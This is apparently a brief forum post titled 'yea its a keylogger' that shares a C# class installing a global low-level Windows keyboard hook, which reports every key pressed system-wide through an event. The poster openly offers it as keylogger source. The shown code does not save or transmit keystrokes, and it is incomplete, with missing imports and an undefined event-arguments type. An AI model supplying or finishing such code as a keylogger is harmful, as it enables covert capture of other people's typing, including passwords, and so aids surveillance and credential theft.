Project 1999 - yea its a keylogger

Code:
using System;

using System.Collections.Generic;

using System.Text;



namespace KHook

{

    public class KeyboardHook : IDisposable

    {

        #region Events

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        public delegate void HookEventHandler(object sender, KeyboardHookEventArgs e);

        public event HookEventHandler KeyDown;

        public event HookEventHandler KeyUp;

        #endregion



        #region Constants

        private const int WH_KEYBOARD_LL = 13;

        private const int WM_KEYDOWN = 0x0100;

        private const int WM_SYSKEYDOWN = 0x0104;

        private LowLevelKeyboardProc _proc = null;

        private static IntPtr _hookID = IntPtr.Zero;

        #endregion



        #region Imports

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr SetWindowsHookEx(int idHook,

            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);



        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        [return: MarshalAs(UnmanagedType.Bool)]

        private static extern bool UnhookWindowsHookEx(IntPtr hhk);



        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,

            IntPtr wParam, IntPtr lParam);



        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr GetModuleHandle(string lpModuleName);



        #endregion



        #region Constructor

        public KeyboardHook()

        {

            _proc = new LowLevelKeyboardProc(HookCallback);

            _hookID = SetHook(_proc);

        }



        #endregion





        #region Methods

        private IntPtr SetHook(LowLevelKeyboardProc proc)

        {

            using (Process curProcess = Process.GetCurrentProcess())

            using (ProcessModule curModule = curProcess.MainModule)

            {

                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,

                    GetModuleHandle(curModule.ModuleName), 0);

            }

        }



        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

        {

            //if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

            if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))

            {

                int vkCode = Marshal.ReadInt32(lParam);

                WinForms.Keys key = (WinForms.Keys)vkCode;

                if (this.KeyDown != null)

                    this.KeyDown(this, new KeyboardHookEventArgs(vkCode));

            }

            return CallNextHookEx(_hookID, nCode, wParam, lParam);

        }



        #endregion



        #region Destructor

        public void Dispose()

        {

            UnhookWindowsHookEx(_hookID);

        }

        #endregion

    }

}